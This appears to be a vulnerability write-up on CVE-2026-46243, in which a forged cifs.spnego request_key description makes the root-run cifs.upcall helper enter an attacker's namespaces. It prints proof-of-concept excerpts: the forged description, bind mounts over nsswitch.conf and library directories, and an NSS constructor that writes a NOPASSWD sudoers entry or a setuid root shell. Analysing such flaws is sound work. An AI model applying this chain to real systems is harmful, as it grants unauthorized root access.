//nefariousplan

CVE-2026-46243: cifs.spnego Had No vet_description. cifs.upcall Walked Into the Caller's Namespace.

vendor

patterns

cve

proof of concept

Linux's CIFS kernel client registers a key type called cifs.spnego. The type's documented purpose is to carry SPNEGO authentication blobs from kernel CIFS to a userspace helper called cifs.upcall, which the kernel spawns through request-key(8) whenever a CIFS mount needs Kerberos. The kernel formats a description string. The helper parses it. The description carries the PID of the process that initiated the mount, the UID it should authenticate as, the security mechanism, and a runtime field called upcall_target that selects whose namespaces the helper resolves Kerberos credentials in.

For nineteen years the key type was registered with no .vet_description hook. Any local unprivileged process could call syscall(SYS_request_key, "cifs.spnego", attacker_string, "", KEY_SPEC_SESSION_KEYRING). The kernel accepted the description, fired the upcall, request-key execed cifs.upcall as root, the helper read the PID the attacker wrote and setns()'d into that PID's mount and user namespaces. Then it called getpwuid(0). getpwuid reads /etc/nsswitch.conf and dlopens a libnss_*.so.2. The attacker had just bind-mounted both.

The cifs.spnego key type was registered as a public key type

fs/smb/client/cifs_spnego.c opens with a file header crediting Jeff Layton, Red Hat, 2007. The struct that registers the key type is twelve lines from the top:

struct key_type cifs_spnego_key_type = {
	.name		= "cifs.spnego",
	.instantiate	= cifs_spnego_key_instantiate,
	.destroy	= cifs_spnego_key_destroy,
	.describe	= user_describe,
};

init_cifs_spnego() calls register_key_type(&cifs_spnego_key_type) during module initialization. Once registered, the key type is addressable by any caller of the request_key(2) syscall. The kernel keyring infrastructure does not partition registered types by who registered them. The syscall accepts a key-type name from userspace, looks up the matching struct key_type, and proceeds.

The kernel has exactly one in-tree caller for this type. cifs_get_spnego_key() lives in the same translation unit and runs during CIFS session setup when the mount uses Kerberos. The function formats the description from fields the kernel owns:

sprintf(dp, "ver=0x%x;host=%s;", CIFS_SPNEGO_UPCALL_VERSION, hostname);
/* ... */
sprintf(dp, ";uid=0x%x", from_kuid_munged(&init_user_ns, sesInfo->linux_uid));
sprintf(dp, ";creduid=0x%x", from_kuid_munged(&init_user_ns, sesInfo->cred_uid));
/* ... */
sprintf(dp, ";pid=0x%x", current->pid);

saved_cred = override_creds(spnego_cred);
spnego_key = request_key(&cifs_spnego_key_type, description, "");
revert_creds(saved_cred);

spnego_cred is a kernel credential set, prepared at init from init_task:

cred = prepare_kernel_cred(&init_task);
/* ... */
spnego_cred = cred;

The credential exists so kernel CIFS can address its own private keyring (.cifs_spnego). The override-revert dance is keyring lookup hygiene, not a security boundary. Pre-patch, the keyring infrastructure did not ask anyone who was holding the description that came in on the syscall. There was no place to ask.

The May 2026 patch adds the place:

static int cifs_spnego_key_vet_description(const char *description)
{
	if (current_cred() != spnego_cred)
		return -EPERM;
	return 0;
}

struct key_type cifs_spnego_key_type = {
	.name		    = "cifs.spnego",
	.instantiate	    = cifs_spnego_key_instantiate,
	.destroy	    = cifs_spnego_key_destroy,
	.describe	    = user_describe,
	.vet_description    = cifs_spnego_key_vet_description,
};

.vet_description runs inside request_key(2) before the upcall fires. Userspace callers have their own creds. The kernel's own caller has spnego_cred because cifs_get_spnego_key swapped them in three lines earlier. Userspace gets -EPERM. The kernel proceeds.

The pre-patch struct was a public key type whose only intended caller was its own translation unit. The convention that only cifs_get_spnego_key would call request_key on this type was held by Jeff Layton's 2007 commit message, by the file's organization, and by the fact that no other in-tree code path had any reason to. The convention was not held by the syscall surface, because the syscall surface does not read commit messages.

cifs.upcall trusted what request_key sent it

When request_key does not find an existing key, it fires an upcall. The kernel hands off to /sbin/request-key, which reads /etc/request-key.conf and /etc/request-key.d/*.conf to find the helper for the requested type. The cifs-utils package ships:

create cifs.spnego * * * /usr/sbin/cifs.upcall %k

request-key execs cifs.upcall as root, with the key serial number as %k. cifs.upcall reads the description out of the key, parses the semicolon-delimited fields, and decides what to do.

The fields are ver=, host=, ip4= or ip6=, sec=, uid=, creduid=, pid=, user=, and upcall_target=. The first eight are inputs to the SPNEGO/Kerberos resolution. upcall_target= is a runtime branch in the helper.

upcall_target=app tells cifs.upcall to do the resolution inside the namespaces of the process that initiated the mount. This branch exists for a real reason: the user's Kerberos credential cache lives in their session, not in init_ns. The session keyring is a per-namespace object. A KEYRING:persistent ccache is rooted in /run/user/<uid>. File-based ccaches under /tmp/krb5cc_* are reachable only through the mounting process's mount namespace. To find the ticket, the helper must enter the user's view of the filesystem and keyring.

So cifs.upcall does, roughly:

static int switch_to_process_ns(pid_t pid)
{
	int user_ns_fd = open(format("/proc/%d/ns/user", pid), O_RDONLY);
	int mnt_ns_fd  = open(format("/proc/%d/ns/mnt",  pid), O_RDONLY);
	setns(user_ns_fd, CLONE_NEWUSER);
	setns(mnt_ns_fd,  CLONE_NEWNS);
	/* ... */
}

When pid is the kernel-stamped PID of the mounting task, this is hygiene. The kernel's cifs_get_spnego_key writes ;pid=0x%x", current->pid. The PID is data the kernel emits from its own context.

When the description is forged via the request_key syscall, pid is whatever the attacker put there. The PoC's trigger writes:

snprintf(desc, sizeof(desc),
	 "ver=0x2;host=example.com;ip4=127.0.0.1;sec=krb5;"
	 "uid=0x0;creduid=0x0;pid=%d;upcall_target=app;user=root",
	 getpid());

getpid(). The PID is the attacker's own. cifs.upcall opens /proc/<attacker_pid>/ns/user and /proc/<attacker_pid>/ns/mnt and setns()'s into them. setns() into a child user namespace does not change the calling process's credentials. cifs.upcall retains its init_user_ns capabilities. Every path lookup from this point goes through the attacker's mount tree.

After the switch, cifs.upcall calls getpwuid(0) to resolve the username for ccache lookup. getpwuid is glibc. glibc uses NSS. NSS reads /etc/nsswitch.conf and dlopens a libnss_*.so.2.

NSS is a code-execution primitive when the mount namespace is yours

The PoC's namespace-setup sequence is in the trigger binary, after mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL):

mask_runtime_nss_caches();          /* hide /run/nscd, /var/run/nscd */
bind_nsswitch_config(argv[2]);      /* bind argv[2] over /etc/nsswitch.conf */

for (int i = 3; i < argc; i++)
	mount(argv[1], argv[i], NULL, MS_BIND | MS_REC, NULL); /* bind fakelib over /usr/lib64, /lib64, ... */

The bind-mounted nsswitch.conf reads:

passwd: pwn files
group:  files
shadow: files
hosts:  files dns

pwn is the name of the attacker's NSS module. glibc resolves it by searching for libnss_pwn.so.2 under the standard NSS library directories. Those directories are now the attacker's fakelib/, courtesy of the bind mounts. fakelib/libnss_pwn.so.2 was compiled by the PoC from libnss_pwn.c. Loading it runs its constructor as root:

__attribute__((constructor))
static void pwn_constructor(void)
{
	int sudoers_fd;
	const char *comment =
		"# cifs.upcall namespace NSS PoC; remove after testing\n";

	mkdir("/etc/sudoers.d", 0755);
	sudoers_fd = open(SUDOERS_PATH,
		O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 0440);
	/* ... */
	write_all(sudoers_fd, comment, strlen(comment));
	dprintf(sudoers_fd, "%s ALL=(ALL:ALL) NOPASSWD: ALL\n", SUDOERS_USER);
	fchmod(sudoers_fd, 0440);
}

SUDOERS_PATH is /etc/sudoers.d/cifs-upcall-poc-<uid>_<pid>. The path lives in init_user_ns's /etc/sudoers.d, because the attacker's mount namespace only bind-mounted two locations, /etc/nsswitch.conf and the NSS library directory. /etc/sudoers.d is still the host's tree. cifs.upcall holds CAP_DAC_OVERRIDE in init_user_ns. The write lands on the host.

When cifs.upcall returns, the host's /etc/sudoers.d/cifs-upcall-poc-<uid>_<pid> is a root-owned file containing <attacker_user> ALL=(ALL:ALL) NOPASSWD: ALL. The PoC's outer Python then execs sudo -n /bin/bash -p, and the original unprivileged process becomes root.

The constructor ships a fallback for systems whose sudoers write fails. The fallback opens /bin/bash, copies it to /var/tmp/cifs_upcall_rootsh_<uid>_<pid>, fchowns the copy to root, fchmods it 04755. The author shipped two roots in one constructor. One of them lands wherever the other does not.

Internal-only-by-convention, at the kernel-userspace boundary

The catalog has a pattern called internal-only-by-convention. Its short description names "a header, query parameter, or environment input the framework defines as internal-IPC-only, read with security-relevant authority on every inbound network request." The "internal-only" contract is documentation, not enforcement.

Most exhibits in the pattern wear HTTP. Next.js's x-middleware-subrequest was a colon-separated breadcrumb the framework wrote to itself and read with auth-bypass authority on inbound requests; the convention was held by who happened to know the header's name. MikroORM's __raw was a string-keyed brand the ORM wrote to its own RawQueryFragment objects and read with raw-SQL-inline authority via isRaw(value); the convention was held by whose JSON happened to have that property.

CVE-2026-46243 transposes the same shape onto the kernel-keyring boundary. The cifs.spnego key type was an internal IPC channel between kernel CIFS and the cifs.upcall userspace helper. Its description fields, host=, ip4=, sec=, uid=, creduid=, pid=, upcall_target=, were values the kernel's own caller would fill in from data the kernel owned. The convention that only cifs_get_spnego_key called request_key on this type was held by Jeff Layton's 2007 commit message, by the file's organization, and by the fact that no other in-tree code path had any reason to call it.

The convention was held by everything except request_key(2). Once a key type is registered with the keyring infrastructure, the syscall accepts any description string from any process and dispatches the upcall. The infrastructure offers exactly one place to gate the description: .vet_description. The cifs.spnego struct had .describe = user_describe, a getter for the keyutils command-line tool to print the description, and no setter. For nineteen years the convention was held by who happened to know how to call request_key with "cifs.spnego" and who did not.

The userspace half of the chain is the same shape's downstream consequence, and it is also where this CVE meets trust inversion: cifs.upcall is the root-running authorizer every distro shipping cifs-utils places between kernel CIFS and the user's Kerberos ccache, and the exploit does not break it, it rides it. cifs.upcall could not tell the kernel-stamped pid=current->pid apart from the attacker-stamped pid=getpid(), because the description is the only channel the helper has for the information, and the channel has no provenance. The kernel-side patch closes the upstream gate. The downstream consumer's trust shape, that every field in the description was written by kernel CIFS, is unchanged. Any future caller in init_user_ns with spnego_cred who passes attacker-influenced fields into a description will land in the same helper, on the same setns path, with the same NSS dlopen at the end of it.

The MITRE record describes CVE-2026-46243 as a "Linux kernel CIFS vulnerability." The kernel-only framing is what makes the userspace half look like a courtesy. The kernel-side patch ships in a kernel changelog, the userspace-side patch ships in a cifs-utils changelog, and a distro that updates one without the other still ships the chain. The pattern is the same as next-middleware: the patch closes the demonstrated bypass; the convention that the helper reads attacker-shapeable bytes as kernel-authored is still in the code.

For nineteen years the convention that only the kernel called request_key on this key type was held by who happened to know how to call request_key on this key type.